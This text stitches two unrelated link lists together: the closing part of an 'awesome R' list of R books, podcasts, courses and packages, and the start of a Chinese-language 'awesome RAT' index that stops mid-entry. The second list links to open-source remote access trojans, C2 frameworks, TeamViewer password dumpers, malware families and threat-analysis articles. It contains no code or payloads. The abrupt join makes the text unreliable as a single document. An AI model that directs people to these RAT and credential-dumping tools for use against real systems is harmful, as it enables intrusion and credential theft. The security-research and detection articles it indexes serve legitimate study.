* [R Weekly](https://rweekly.org) - Weekly updates about R and Data Science. R Weekly is openly developed on GitHub. * [R Bloggers](http://www.r-bloggers.com/) - There are people scattered across the Web who blog about R. This is simply an aggregator of many of those feeds. * [R-users](https://www.r-users.com/) - A job board for R users (and the people who are looking to hire them) ## Books ### Free and Online * [_R for Data Science_ by Garrett Grolemund & Hadley Wickham](http://r4ds.had.co.nz/) - Free book from RStudio developers with emphasis on data science workflow. * [_R Cookbook_ by Winston Chang](http://www.cookbook-r.com/) - A problem-oriented online book that supports his [R Graphics Cookbook, 2nd ed. (2018)](http://shop.oreilly.com/product/0636920063704.do). * [_Advanced R_, 2nd ed. by Hadley Wickham (2019) <img class="emoji" alt="heart" src="https://cdn.jsdelivr.net/gh/qinwf/awesome-R@3c66da6e291bcc0520b1649125b0bed750896a9a/heart.png" height="20" align="absmiddle" width="20">](https://adv-r.hadley.nz/) - An online version of the Advanced R book. * [_R Packages_, 2nd ed. by Hadley Wickham & Jennifer Bryan](https://r-pkgs.org/) - A book (in paper and website formats) on writing R packages. * Books written as part of the Johns Hopkins Data Science Specialization: * [_Exploratory Data Analysis with R_ by Roger D. Peng (2016)](https://leanpub.com/exdata) - Basic analytical skills for all sorts of data in R. * [_R Programming for Data Science_ by Roger D. Peng (2019)](https://leanpub.com/rprogramming) - More advanced data analysis that relies on R programming. * [_Report Writing for Data Science in R_ by Roger D. Peng (2019)](https://leanpub.com/reportwriting) - R-based methods for reproducible research and report generation. * [_R for SAS and SPSS users_ by Bob Muenchen (2012)](http://r4stats.com/books/free-version/) - An excellent resource for users already familiar with SAS or SPSS. * [_Introduction to Statistical Learning with Application in R_ by Gareth James et al. (2017)](http://faculty.marshall.usc.edu/gareth-james/ISL/) - A simplified and "operational" version of *The Elements of Statistical Learning*. Free softcopy provided by its authors. * [_The R Inferno_ by Patrick Burns (2011)](http://www.burns-stat.com/pages/Tutor/R_inferno.pdf) - Patrick Burns gives insight into R's ins and outs along with its quirks! * [_Efficient R Programming_ by Colin Gillespie & Robin Lovelace (2017)](https://csgillespie.github.io/efficientR/) - An online version of the O’Reilly book: Efficient R Programming. * [The R Programming Wikibook](https://en.wikibooks.org/wiki/R_Programming) - A collaborative handbook for R. ### Paid * [The Art of R Programming](http://shop.oreilly.com/product/9781593273842.do) - It's a good resource for systematically learning fundamentals such as types of objects, control statements, variable scope, classes and debugging in R. * [_R Cookbook_, 2nd ed. by JD Long & Paul Teetor (2019)](http://shop.oreilly.com/product/0636920174851.do) - A quick and simple introduction to conducting many common statistical tasks with R. * [R in Action](http://www.manning.com/kabacoff2/) - This book aims at all levels of users, with sections for beginning, intermediate and advanced R ranging from "Exploring R data structures" to running regressions and conducting factor analyses. * [_Use R!_ Series by Springer](http://www.springer.com/series/6991?detailsPage=titles) - This series of inexpensive and focused books from Springer publish shorter books aimed at practitioners. Books can discuss the use of R in a particular subject area, such as Bayesian networks, ggplot2 and Rcpp. * [Learning R Programming](https://www.packtpub.com/big-data-and-business-intelligence/learning-r-programming) - Learning R as a programming language from basics to advanced topics. ### Book/monograph Lists and Reviews * [R Books List](https://github.com/RomanTsegelskyi/rbooks) - List of R Books. * [Readings in Applied Data Science](https://github.com/hadley/stats337) - These readings reflect Hadley's personal thoughts about applied data science. ## Podcasts * [Not So Standard Deviations](https://soundcloud.com/nssd-podcast) - The Data Science Podcast. * [@Roger Peng](https://twitter.com/rdpeng) and [@Hilary Parker](https://twitter.com/hspter). * [R World News](http://www.rworld.news/blog/) - R World News helps you keep up with happenings within the R community. * [@Bob Rudis](https://twitter.com/hrbrmstr) and [@Jay Jacobs](https://twitter.com/jayjacobs). * [The R-Podcast](https://r-podcast.org/) - Giving practical advice on how to use R. * [@Eric Nantz](https://r-podcast.org/stories/contact.html). * [R Talk](http://rtalk.org) - News and discussions of statistical software and language R. * [@Oliver Keyes](https://twitter.com/quominus), [@Jasmine Dumas](https://twitter.com/jasdumas), [@Ted Hart](https://twitter.com/emhrt_) and [@Mikhail Popov](https://twitter.com/bearloga). * [R Weekly](https://rweekly.org) - Weekly news updates about the R community. ## Reference Cards * [RStudio Cheat Sheets](https://www.rstudio.com/resources/cheatsheets/) * [R Reference Card 2.0](http://cran.r-project.org/doc/contrib/Baggott-refcard-v2.pdf) - Material from R for Beginners by permission of Emmanuel Paradis (Version 2 by Matt Baggott). * [Regression Analysis Refcard](http://cran.r-project.org/doc/contrib/Ricci-refcard-regression.pdf) - R Reference Card for Regression Analysis. * [Reference Card for ESS](http://ess.r-project.org/refcard.pdf) - Reference Card for ESS. ## MOOCs *Massive open online courses.* * [Johns Hopkins University Data Science Specialization](https://www.coursera.org/specialization/jhudatascience/1) - 9 courses including: Introduction to R, literate analysis tools, Shiny and some more. * [HarvardX Biomedical Data Science](http://simplystatistics.org/2014/11/25/harvardx-biomedical-data-science-open-online-training-curriculum-launches-on-january-19/) - Introduction to R for the Life Sciences. * [Explore Statistics with R](https://www.edx.org/course/explore-statistics-r-kix-kiexplorx-0) - Covers introduction, data handling and statistical analysis in R. ## Lists *Great resources for learning domain knowledge.* * [Books](https://github.com/RomanTsegelskyi/rbooks) - List of R Books. * [ggplot2 Extensions](https://ggplot2-exts.github.io/ggiraph.html) - Showcases of ggplot2 extensions. * [Natural Language Processing <img src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f1e8-1f1f3.png" width="20" heigth="20" align="absmiddle" class="emoji" alt=":cn:">](https://github.com/BZRLC/R-notes/blob/master/NLP/readme.md) - NLP related resources in R. @Chinese * [Network Analysis](https://github.com/briatte/awesome-network-analysis) - Network Analysis related resources. * [Open Data](https://github.com/ropensci/opendata) - Using R to obtain, parse, manipulate, create, and share open data. * [Posts](https://github.com/qinwf/awesome-R/blob/master/misc/posts.md) - Great R blog posts or Rticles. * [Package Development](https://github.com/ropensci/PackageDevelopment) - R packages to improve package development. * [R Project Conferences](https://www.r-project.org/conferences.html) - Information about useR! Conferences and DSC Conferences. * [RStartHere](https://github.com/rstudio/RStartHere) - A guide to some of the most useful R packages, organized by workflow. * [RStudio Addins](https://github.com/daattali/addinslist) - List of RStudio addins. * [Topic Models](https://github.com/trinker/topicmodels_learning) - Topic Models learning and R related resources. * [Web Technologies](https://github.com/ropensci/webservices) - Information about how to use R and the world wide web together. ## R Ecosystems R communities and package collections (in alphabetical order): * [rOpenGov](http://ropengov.github.io/) Open government data, computational social science, digital humanities * [rOpenHealth](https://github.com/rOpenHealth) Public health data * [rOpenSci](https://ropensci.org) Open science ## 2018 * [fable](https://github.com/tidyverts/fable) - univariate and multivariate time series forecasting models  * [r2d3](https://rstudio.github.io/r2d3/) - R Interface to D3 Visualizations  * [rstats-ed](https://github.com/rstudio-education/rstats-ed) - List of courses teaching R * [promises](https://cran.r-project.org/web/packages/promises/index.html) - Abstractions for Promise-Based Asynchronous Programming  * [tinytex](https://yihui.name/tinytex/) - A lightweight and easy-to-maintain LaTeX distribution  * [Readings in Applied Data Science](https://github.com/hadley/stats337) - These readings reflect Hadley's personal thoughts about applied data science. ## 2017 * [prophet](https://github.com/facebookincubator/prophet) - Tool for producing high quality forecasts for time series data that has multiple seasonality with linear or non-linear growth. * [tidyverse](https://github.com/tidyverse/tidyverse) - Easily install and load packages from the tidyverse * [purrr](https://github.com/tidyverse/purrr) - A functional programming toolkit for R * [hrbrthemes](https://github.com/hrbrmstr/hrbrthemes) - 🔏 Opinionated, typographic-centric ggplot2 themes and theme components * [xaringan](https://github.com/yihui/xaringan) - Create HTML5 slides with R Markdown and the JavaScript library * [blogdown](https://github.com/rstudio/blogdown) - Create Blogs and Websites with R Markdown * [glue](https://github.com/tidyverse/glue) - Glue strings to data in R. Small, fast, dependency free interpreted string literals. * [covr](https://github.com/jimhester/covr) - Test coverage reports for R * [lintr](https://github.com/jimhester/lintr) - Static Code Analysis for R * [reprex](https://github.com/jennybc/reprex) - Render bits of R code for sharing, e.g., on GitHub or StackOverflow. * [reticulate](https://github.com/rstudio/reticulate) - R Interface to Python * [tensorflow](https://github.com/rstudio/tensorflow) - TensorFlow for R * [utf8](https://github.com/patperry/r-utf8) - Manipulating and printing UTF-8 text that fixes multiple bugs in R's UTF-8 handling. * [Patchwork](https://github.com/thomasp85/patchwork) - Combine separate ggplots into the same graphic. # Other Awesome Lists * [awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness) * [lists](https://github.com/jnv/lists) * [awesome-rshiny](https://github.com/grabear/awesome-rshiny) # Contributing Your contributions are always welcome! This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License - [CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/legalcode)

# [所有收集类项目](https://github.com/alphaSeclab/all-my-collection-repos) # RAT - 250+ 开源远控/C&C工具，1200+ RAT分析报告\C&C相关文章等。 - [English Version](https://github.com/alphaSeclab/awesome-rat/blob/master/Readme_en.md) # 目录 - [开源工具](#39bad1d60c8fbb697fd8701ffafc50a6) - [pupy](#98000cf45f63bf295d39e9255d7972ca) -> [(1)工具](#ff6ee8128d4f01f80c3f2bb522f0d5e9) [(6)文章](#4f5ffa16436730588e8d009febe1bd5c) - [Covenant](#1acc99cd2330bc55f1dffecfa75b9c7d) -> [(3)工具](#05d2a0aed9499aea447e90668c8d5103) [(18)文章](#81af73c48e520a45619cbf7769cc64b5) - [Slackor](#cf120400afb57c2af9b8da037b3b7c3b) -> [(1)工具](#280aaf2c1b0f44b6f5ec7095d7b35578) [(3)文章](#8adba68f714e281a3bb7faa2c3661d1b) - [QuasarRAT](#05df4f3dd6438b6f6d67f56a8b6e40f3) -> [(1)工具](#c2df559aa60f8bfd5da4d9fc7c0ea0d2) [(9)文章](#36c965d7808be2799f70e4d910a17abd) - [EvilOSX](#380ea0abfdbf07624ebf45681b773e54) -> [(1)工具](#a69f3baa491547ddf6a628cda168b492) [(9)文章](#375dc16ed1cf6be4274da55140784610) - [Merlin](#42a4a0bcb02fcb7a30fe7e42b7a9cdb5) -> [(1)工具](#941bae92e80ca3f9c21a232cc959eb67) [(3)文章](#5b3a7a286bac53bf26395ea5ffb6c590) - [商业软件](#f1821c037c77e23ca5c2552477708930) - [Team Viewer](#db69305116cf91a4e67b4c75465dfe3e) -> [(7)工具](#d42849969f2b53c898f0b6e710dc3027) [(34)文章](#eed97a5a9b2346759fb7bb30c5a98bbe) - [恶意软件(部分)](#f6f85e2d4f8e5442884f4d9b6e56ca42) - [Gh0st](#74d9131b5ad95c569c0afb9ee5a3c9b9) -> [(5)工具](#dcb10cc6813a25815201b36bacdef198) [(23)文章](#683b7000242336c05ea278c9ad3d7e5e) - [NanoCore](#81308c6923f66db886efe8ae967c2845) -> [(1)工具](#c84aebee516fbf526701102cfa6d0a98) [(32)文章](#6df7f0da7bb260a54405579912678c0d) - [NjRat](#31bd9e6c54fdd9a00a45542e53abc13b) -> [(4)工具](#ff7bcb6c765cb73cfadda9f06deda668) [(20)文章](#de09011e16164e950d653756212219ac) - [Revenge RAT](#db2bbd5298638952f34060e4f8ee0053) -> [(1)工具](#cef60ee76daa3240e95bbf82f2994848) [(9)文章](#2dd3016da115b16c9de264b885105eff) - [PlugX](#37466b42f2f777fa5a6400d78931995c) -> [(1)工具](#03b501e2e5da59c3c97027775e6a93b7) [(40)文章](#17ca6dd6130c10b726039472c20bb093) - [(25) RemcosRAT](#ee2e3505664b3a7d26842b0278ccce23) - [(3) L0rdixRAT](#3f113acb3b6863c4ec5cbe04ce69f841) - [(1) LodaRAT](#07522f33ae58f9d0de0bdc202f6aa1aa) - [(9) GulfRAT](#e8fa6ccd3f727add34525951a81fd493) - [(14) NetWireRAT](#57ea699dadcafe202a31772c837f9b7f) - [(1) JhoneRAT](#20cd83aa4b202931ed4597c506d61257) - [(2) Dacls](#2da027a7cc244e466f914c996623d114) - [(1) BlackRemote](#8bfe869e8aca6fa9e7d2d5b0353c0dc2) - [(17) Orcus](#9ac323d054e6f52e9a92e449b51e75e6) - [(1) NukeSped](#8038672c0b8ef4b0b82afdeae025b38c) - [(21) DarkComet](#11b35c707990ed436d23cc7495713177) - [(1) WarZone RAT](#5af0edca5a51bdd5fd8f8d37b08218c8) - [(16) BlackShades](#84187b0e75ca2a5a844f0367bf6d3c6b) - [(1) DenesRAT](#36531e67f10ecd7114880530e5e46e95) - [(4) WSH RAT](#660f78a639f351f8404accad8c711ca4) - [(2) Qrypter RAT](#319dcbdac181398a9b2ba7f5424a3e04) - [(20) Adwind](#eb6a3a9a179678734be43ea1eb26f1c3) - [(1) CannibalRAT](#eb3c9f8af4ebe91aca4649718ff595c2) - [(3) jRAT](#5fe739ee0e8778979807558ccd439b07) - [(5) jsRAT](#b62c18c1b4fc6d5b52ca826b36cf0819) - [(4) CrossRat](#8d0732c4a6cf2393c0ff4e6cfe54f50f) - [(1) ArmaRat](#bb9ad532c3a3c9235157325236380a96) - [(6) RokRAT](#504b8511fe74ddb142775e007fa509f8) - [(1) CatKARAT](#ec8fe0e42f60749c29b75ed6708a5323) - [(5) TheFatRat](#c3abd29c4145412f661b02b37347e70b) - [(2) OmniRAT](#f1e2e824425e798bf4e410e4496181ed) - [(6) LuminosityLink](#bea46716ccf78713fbb9764999968e72) - [(477) 其他](#6e0343d40b9606a34ad2ff311d0d259a) - [利用公开服务](#e80bdc9447f3cdc9416282b598b14cf7) - [Telegram](#17b978a5c371699ccd9a5687ae3f3949) -> [(3)工具](#492b34c27ab06b3696c0464465b74eec) [(2)文章](#06365f440cb6fa3e0daf933cb0874c8b) - [Twitter](#a6303482a58e0d14bb8ce1849817ab5a) -> [(2)工具](#ae91172321950c1296375e9c9059d773) [(6)文章](#f6f5e4da48152e5b0bc45608a3f9a656) - [GMail](#d2041a55efcfc29ca6a257916255b43b) -> [(3)工具](#be2346c808f9813f13da3526576e1839) [(8)文章](#4b9fa06652be565e5e53db0b094bfb80) - [Github](#b37bc6073be9a78ed6dbd0d21251fc63) -> [(1)工具](#842ef8261474bd529ac72c43dcf9c1fa) [(5)文章](#d46b05d91c64bed9533dd00ba8eac513) - [DropBox](#618ec29a95a1f90a2696490d1f1afb2f) -> [(1)工具](#a6091cce89af46f8e9deb0efe0a378cc) [(3)文章](#59b97649c4ed0a852859d07d2e640c45) - [区块链](#2b58c60ed7c7920f03979756f6f72fcc) -> [(2)工具](#920d0c6167385c71e171ccbe71397f7a) [(1)文章](#3d26ec5c4c50edaaf343903e5fb182c2) - [其他](#1e53961ca8fc592a588e18a5f1519078) -> [(15)工具](#77cdae7f8911e93ff055f270ef9bf562) [(5)文章](#8842ea68ff727ac4d5d970405f152161) - [通信协议](#9f6f77f1fcf614c9738dfeac9cc5d1d3) - [DNS协议](#7485e724ef5efd1daf9d672bd72fb595) - [(9) 工具](#d70a62f77fa20a2219e81fa61527e644) - [(18) 文章](#fa377fafdbd3ef80574411ef3a54c693) - [Domain Generation Algorithm(DGA)](#41df71c75c08038e17e5526fe0afceb5) -> [(14)工具](#a2e73ce71da73fb1b4ab8cb52449d839) [(42)文章](#7c21e329221f50f2b9c1918ab01c26fd) - [ICMP](#867ed7efa4643442ef6859571db8a587) -> [(5)文章](#aa2a205557d269a563191e7fc7f7eb0a) - [WebSocket](#fe3abb0c040999744a648ed68780835c) -> [(2)工具](#097f22edaf98529c95353d8edef562b7) [(5)文章](#f2f397345d35d2cc574a4689ad4c8293) - [C&C](#1c28538afe533f545b540cbd78637241) - [Cobalt Strike](#e8d16b3301a2ab9109b503b89ec6eece) -> [(14)工具](#f587c1f0baaf7aa1d9e9c5fe533c7a6d) [(8)文章](#249b843c26732ce792d7448c2601f595) - [工具](#ec8ac76dec379ff452f681a4504444b8) - [(64) 新添加](#dbd38a8d8a1e246cd8628a34002c5fe7) - [文章](#307c055d7414abc9ab9f2fb4e85456e1) - [(258) 新添加](#dc96281ca669ac06c3d7d134c7f90643) - [远控](#b318465d0d415e35fc0883e9894261d1) - [工具](#9e3a9beb5ecf36b9624525bc3cfef78a) - [(9) Android](#6ed48c90d1bd6a31a4ea7380f4f5768a) - [(5) Linux](#fa50a59bde92471d60f030ea12817540) - [(17) Windows](#1da695fd3dec80b88aadb1b7c724330f) - [(4) Apple](#674863bb36ce7a2f814934480c7fd3d2) - [(90) 新添加](#964a3580a7a7f66571ee1d2c0f34f2d6) - [文章](#39ccec75049c60fa1d5dd46fea812331) # <a id="39bad1d60c8fbb697fd8701ffafc50a6"></a>开源工具 *** ## <a id="98000cf45f63bf295d39e9255d7972ca"></a>pupy ### <a id="ff6ee8128d4f01f80c3f2bb522f0d5e9"></a>工具 - [**5265**星][1m] [Py] [n1nj4sec/pupy](https://github.com/n1nj4sec/pupy) Python编写的远控、后渗透工具，跨平台（Windows, Linux, OSX, Android） ### <a id="4f5ffa16436730588e8d009febe1bd5c"></a>文章 - 2020.01 [TheCyberWire] [PupyRAT is back. So is the Konni Group. Twitter storm over claims that MBS hacked Jeff Bezos....](https://www.youtube.com/watch?v=q_zqp7BTVyU) - 2019.03 [hackingarticles] [Command & Control Tool: Pupy](https://www.hackingarticles.in/command-control-tool-pupy/) - 2017.11 [chokepoint] [Pupy as a Metasploit Payload](http://www.chokepoint.net/2017/11/pupy-as-metasploit-payload.html) - 2017.10 [boredhackerblog] [Pupy shell over Tor](http://www.boredhackerblog.info/2017/10/pupy-shell-over-tor.html) - 2017.02 [n0where] [Open Source Cross Platform RAT: Pupy](https://n0where.net/open-source-cross-platform-rat-pupy) - 2015.10 [hackingarticles] [Hack Remote PC using Pupy – Remote Administration Tool](http://www.hackingarticles.in/hack-remote-pc-using-pupy-remote-administration-tool/) *** ## <a id="1acc99cd2330bc55f1dffecfa75b9c7d"></a>Covenant ### <a id="05d2a0aed9499aea447e90668c8d5103"></a>工具 - [**1147**星][6d] [C#] [cobbr/covenant](https://github.com/cobbr/covenant) Covenant is a collaborative .NET C2 framework for red teamers. - [**95**星][9d] [C#] [cobbr/elite](https://github.com/cobbr/elite) Elite is the client-side component of the Covenant project. Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. - [**31**星][4m] [C#] [cobbr/c2bridge](https://github.com/cobbr/c2bridge) C2Bridges allow developers to create new custom communication protocols and quickly utilize them within Covenant. ### <a id="81af73c48e520a45619cbf7769cc64b5"></a>文章 - 2020.01 [csis] [Embedding external DLLs into Covenant Tasks](https://medium.com/p/de443c4a2b84) - 2020.01 [hakin9] [Covenant the .NET based C2 on Kali Linux | by Dan Dieterle](https://hakin9.org/covenant-the-net-based-c2-on-kali-linux/) - 2019.12 [cyberarms] [Covenant the .NET based C2 on Kali Linux](https://cyberarms.wordpress.com/2019/12/30/covenant-the-net-based-c2-on-kali-linux/) - 2019.12 [rastamouse] [Covenant Tasks 101](https://rastamouse.me/2019/12/covenant-tasks-101/) - 2019.12 [rsa] [Using RSA NetWitness to Detect C&C: Covenant](https://community.rsa.com/community/products/netwitness/blog/2019/12/20/using-rsa-netwitness-to-detect-cc-covenant) - 2019.11 [4hou] [Covenant利用分析](https://www.4hou.com/technology/21328.html) - 2019.11 [3gstudent] [Covenant利用分析](https://3gstudent.github.io/3gstudent.github.io/Covenant%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/) - 2019.10 [cobbr] [Covenant: Developing Custom C2 Communication Protocols](https://cobbr.io/Covenant-Developing-Custom-C2-Protocols.html) - 2019.10 [specterops] [Covenant: Developing Custom C2 Communication Protocols](https://medium.com/p/895587e7f325) - 2019.09 [freebuf] [Covenant：针对红队设计的.NET命令行控制框架](https://www.freebuf.com/articles/system/213672.html) - 2019.09 [stealthbits] [Setup, Configuration, and Task Execution with Covenant: The Complete Guide](https://blog.stealthbits.com/setup-configuration-and-task-execution-with-covenant-the-complete-guide/) - 2019.08 [stealthbits] [Next-Gen Open Source C2 Frameworks in a Post PSEmpire World: Covenant](https://blog.stealthbits.com/next-gen-open-source-c2-frameworks/) - 2019.08 [rastamouse] [Covenant, Donut, TikiTorch](https://rastamouse.me/2019/08/covenant-donut-tikitorch/) - 2019.08 [cobbr] [Covenant: The Usability Update](https://cobbr.io/Covenant-The-Usability-Update.html) - 2019.08 [specterops] [Covenant: The Usability Update](https://medium.com/p/9a7a596a4772) - 2019.02 [cobbr] [Entering a Covenant: .NET Command and Control](https://cobbr.io/Covenant.html) - 2019.02 [rvrsh3ll] [Entering a Covenant: .NET Command and Control](https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462) - 2019.01 [specterops] [Entering a Covenant: .NET Command and Control](https://medium.com/p/e11038bcf462) *** ## <a id="cf120400afb57c2af9b8da037b3b7c3b"></a>Slackor ### <a id="280aaf2c1b0f44b6f5ec7095d7b35578"></a>工具 - [**332**星][12d] [Py] [coalfire-research/slackor](https://github.com/coalfire-research/slackor) A Golang implant that uses Slack as a command and control server ### <a id="8adba68f714e281a3bb7faa2c3661d1b"></a>文章 - 2019.09 [freebuf] [Slackor：Go语言写的一款C&C服务器](https://www.freebuf.com/sectool/212690.html) - 2019.08 [freebuf] [Slackor：如何将Slack当作你的命令控制服务器](https://www.freebuf.com/articles/network/209252.html) - 2019.06 [n00py] [Introducing Slackor, a Remote Access Tool Using Slack as a C2 Channel](https://www.n00py.io/2019/06/introducing-slackor-a-remote-access-tool-using-slack-as-a-c2-channel/) *** ## <a id="05df4f3dd6438b6f6d67f56a8b6e40f3"></a>QuasarRAT ### <a id="c2df559aa60f8bfd5da4d9fc7c0ea0d2"></a>工具 - [**2932**星][10m] [C#] [quasar/quasarrat](https://github.com/quasar/quasarrat) Remote Administration Tool for Windows ### <a id="36c965d7808be2799f70e4d910a17abd"></a>文章 - 2019.10 [UltraHacks] [QuasarRAT [Free Download] | [TUTORIAL VIDEO] | Ultra Hacks](https://www.youtube.com/watch?v=0pyPk26lNiE) - 2018.09 [malwarebytes] [Buggy implementation of CVE-2018-8373 vulnerability used to deliver Quasar RAT](https://blog.malwarebytes.com/threat-analysis/2018/09/buggy-implementation-of-cve-2018-8373-used-to-deliver-quasar-rat/) - 2018.03 [4hou] [深入分析利用宏代码传播NetwiredRC和Quasar RAT的恶意RTF文档](http://www.4hou.com/web/10909.html) - 2018.01 [paloaltonetworks] [VERMIN: Quasar RAT and Custom Malware Used I](https://unit42.paloaltonetworks.com/unit42-vermin-quasar-rat-custom-malware-used-ukraine/) - 2017.12 [HackerSploit] [QuasarRAT - The Best Windows RAT? - Remote Administration Tool for Windows](https://www.youtube.com/watch?v=kyueZUfSWO4) - 2017.11 [n0where] [Free, Open-Source Remote Administration Tool for Windows: QuasarRAT](https://n0where.net/free-open-source-remote-administration-tool-for-windows-quasarrat) - 2017.10 [TechnoHacker] [Quasar RAT review](https://www.youtube.com/watch?v=fS9OTERI3hg) - 2017.10 [rsa] [MalSpam Delivers RAT SpyWare Quasar 9-27-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/02/malspam-delivers-rat-spyware-quasar-9-27-2017) - 2017.01 [paloaltonetworks] [Downeks and Quasar RAT Used in Recent Targeted Attacks Against Go](https://unit42.paloaltonetworks.com/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/) *** ## <a id="380ea0abfdbf07624ebf45681b773e54"></a>EvilOSX ### <a id="a69f3baa491547ddf6a628cda168b492"></a>工具 - [**1376**星][2y] [Py] [marten4n6/evilosx](https://github.com/marten4n6/evilosx) An evil RAT (Remote Administration Tool) for macOS / OS X. ### <a id="375dc16ed1cf6be4274da55140784610"></a>文章 - 2019.07 [hackingarticles] [EvilOSX-RAT for MacOS/OSX](https://www.hackingarticles.in/evilosx-rat-for-macos-osx/) - 2019.06 [NullByte] [Take Control Over MacOS Computers with EvilOSX [Tutorial]](https://www.youtube.com/watch?v=qxymLHGnCo4) - 2018.08 [freebuf] [EvilOSX：一款功能强大的macOS远程管理工具（RAT）](http://www.freebuf.com/sectool/180668.html) - 2018.07 [pentesttoolz] [EvilOSX – Evil Remote Administration Tool (RAT) for macOS/OS X – Kali Linux 2018.2](https://pentesttoolz.com/2018/07/04/evilosx-evil-remote-administration-tool-rat-for-macos-os-x-kali-linux-2018-2/) - 2018.06 [n0where] [Pure python post-exploitation RAT for macOS & OSX: EvilOSX](https://n0where.net/pure-python-post-exploitation-rat-for-macos-osx-evilosx) - 2018.03 [applehelpwriter] [defending against EvilOSX, a python RAT with a twist in its tail](http://applehelpwriter.com/2018/03/09/defending-against-evilosx-a-python-rat-with-a-twist-in-its-tail/) - 2018.03 [binarydefense] [EvilOSX - Binary Defense](https://www.binarydefense.com/evilosx/) - 2018.03 [binarydefense] [EvilOSX](https://blog.binarydefense.com/evilosx) - 2017.11 [NullByte] [EvilOSX RAT - How to build a payload and start a server](https://www.youtube.com/watch?v=csqnJUxrpOw) *** ## <a id="42a4a0bcb02fcb7a30fe7e42b7a9cdb5"></a>Merlin ### <a id="941bae92e80ca3f9c21a232cc959eb67"></a>工具 - [**2568**星][6m] [Go] [ne0nd0g/merlin](https://github.com/ne0nd0g/merlin) Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang. ### <a id="5b3a7a286bac53bf26395ea5ffb6c590"></a>文章 - 2019.03 [hackingarticles] [Command and Control Guide to Merlin](https://www.hackingarticles.in/command-and-control-guide-to-merlin/) - 2018.02 [lockboxx] [Merlin for Red Teams](https://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html) - 2017.12 [n0where] [Cross-Platform Post-Exploitation HTTP/2 Command & Control Server: Merlin](https://n0where.net/cross-platform-post-exploitation-http-2-command-control-server-merlin) # <a id="f1821c037c77e23ca5c2552477708930"></a>商业软件 *** ## <a id="db69305116cf91a4e67b4c75465dfe3e"></a>Team Viewer ### <a id="d42849969f2b53c898f0b6e710dc3027"></a>工具 - [**405**星][2y] [C++] [vah13/extracttvpasswords](https://github.com/vah13/extracttvpasswords) tool to extract passwords from TeamViewer memory using Frida - [**277**星][2y] [C++] [gellin/teamviewer_permissions_hook_v1](https://github.com/gellin/teamviewer_permissions_hook_v1) A proof of concept injectable C++ dll, that uses naked inline hooking and direct memory modification to change your TeamViewer permissions. - [**175**星][9d] [uknowsec/sharpdecryptpwd](https://github.com/uknowsec/sharpdecryptpwd) 对密码已保存在 Windwos 系统上的部分程序进行解析,包括：Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品（Xshell,Xftp)。 - [**59**星][2y] [Py] [attackercan/teamviewer-dumper](https://github.com/attackercan/teamviewer-dumper) 从内存中转储TeamViewer ID 和密码 - [**42**星][6d] [C#] [v1v1/decryptteamviewer](https://github.com/v1v1/decryptteamviewer) Enumerate and decrypt TeamViewer credentials from Windows registry - [**36**星][5y] [C++] [kkar/teamviewer-dumper-in-cpp](https://github.com/kkar/teamviewer-dumper-in-cpp) Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows. - [**25**星][5m] [C++] [dydtjr1128/remoteassistance-cpp](https://github.com/dydtjr1128/remoteassistance-cpp) [WIP]RemoteAssistance like TeamViewer(C++) ### <a id="eed97a5a9b2346759fb7bb30c5a98bbe"></a>文章 - 2020.02 [yoroi] [Importante Vulnerabilità su TeamViewer](https://blog.yoroi.company/warning/importante-vulnerabilita-su-teamviewer/) - 2020.01 [freebuf] [“正版”监控软件被黑产利用，输出把关不严或成另一个TeamViewer？](https://www.freebuf.com/articles/system/225335.html) - 2019.11 [sessionstack] [TeamViewer, and Alternative Remote Access and Web Conferencing Solutions, Through the Lens of Customer Service](https://blog.sessionstack.com/teamviewer-and-alternative-remote-access-and-web-conferencing-solutions-through-the-lens-of-c219d0db7f85) - 2019.10 [threatbook] [“TeamViewer被黑门”是确有其事还是夸大其词？别慌！一文看懂应对方法](https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=1994) - 2019.10 [freebuf] [TeamViewer据称“被入侵”事件的研判及结论](https://www.freebuf.com/articles/system/216444.html) - 2019.04 [4hou] [利用木马化TeamViewer针对多个国家政府机构的攻击行动](https://www.4hou.com/web/17610.html) - 2019.04 [0x00sec] [Port 5900 open on a MAC that used Teamviewer, trying to access it](https://0x00sec.org/t/port-5900-open-on-a-mac-that-used-teamviewer-trying-to-access-it/13173/) - 2018.09 [blackmoreops] [Install TeamViewer on Kali Linux 2018](https://www.blackmoreops.com/2018/09/25/install-teamviewer-on-kali-linux-2018/) - 2018.08 [freebuf] [你下载的TeamViewer13破解版可能有毒](http://www.freebuf.com/vuls/175689.html) - 2018.08 [4hou] [使用RMS和TeamViewer攻击工业公司](http://www.4hou.com/web/12940.html) - 2018.08 [kaspersky] [Attacks on industrial enterprises using RMS and TeamViewer](https://ics-cert.kaspersky.com/reports/2018/08/01/attacks-on-industrial-enterprises-using-rms-and-teamviewer/) - 2018.08 [securelist] [Attacks on industrial enterprises using RMS and TeamViewer](https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/) - 2017.12 [4hou] [TeamViewer 13.0.5058中的权限漏洞测试](http://www.4hou.com/vulnerable/9243.html) - 2017.12 [3gstudent] [TeamViewer 13.0.5058中的权限漏洞测试](https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/) - 2017.12 [3gstudent] [TeamViewer 13.0.5058中的权限漏洞测试](https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/) - 2017.12 [malwarebytes] [Use TeamViewer? Fix this dangerous permissions bug with an update](https://blog.malwarebytes.com/cybercrime/2017/12/use-teamviewer-fix-this-dangerous-permissions-bug-with-an-update/) - 2017.11 [360] 